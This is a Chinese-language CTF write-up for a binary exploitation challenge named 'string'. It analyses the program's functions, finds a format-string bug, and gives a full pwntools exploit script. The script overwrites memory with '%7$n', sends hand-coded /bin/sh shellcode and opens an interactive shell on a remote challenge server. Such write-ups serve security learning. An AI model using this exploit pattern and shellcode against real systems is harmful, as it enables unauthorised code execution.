标签:11 攻防 sub a1 sendline recvuntil shellcode 输入 string
查壳:开了Canary和NX,没开Pie
ida查看每个函数的有用的意义(a1==v4)
函数 | 意义 |
---|---|
main | 引导进入sub_400D72 |
sub_400D72 | 获取输入,长度<12继续 |
sub_400A7D | 获取输入,直到输入为 east 为止才能进行下一个流程 |
sub_400BB9 | 获取输入,如果输入的值不是 1 ,那么直接进行下一个流程 |
sub_400BB9 | 输入的值是 1,那么存在格式化字符串漏洞可以进行偏移 |
sub_400CA6 | 判断a1[0] == a1[1],如果相等,那么调用 mmap 分配一块 1000h 大小的空间,其中第三个参数告诉我们,这块空间具有可读可写可执行的权限 |
综上,目标是将1[0] == a1[1]执行成功,利用sub_400BB9的格式化字符串漏洞进行偏移
64 位的程序,前 6 个参数是放在寄存器中的rdi, rsi, rdx, rcx, r8, r9, 后面为rsp+8, rsp+16,故v2是args 中的第 7 个参数(用%p打点也可以得到偏移),用 '%7$n' 的方式来访问并修改 main 中分配的空间中的值
利用
编写exp
#!/usr/bin/env python
from pwn import *
p = remote("111.200.241.244", 39379)
p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1], 16)
#录入v3地址
p.recvuntil("What should your character's name be:\n")
p.sendline("123")
p.recvuntil("So, where you will go?east or up?:\n")
p.sendline("east")
p.recvuntil("go into there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("'Give me an address'\n")
p.sendline(str(addr))
p.recvuntil("And, you wish is:\n")
payload = 'A' * 85 + "%7$n"
p.sendline(payload)
#shellcode = asm(shellcraft.sh())
# pwndbg的shellcode
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendline(shellcode)
p.interactive()
标签:11,攻防,sub,a1,sendline,recvuntil,shellcode,输入,string 来源: https://www.cnblogs.com/triplewings-home/p/14454286.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。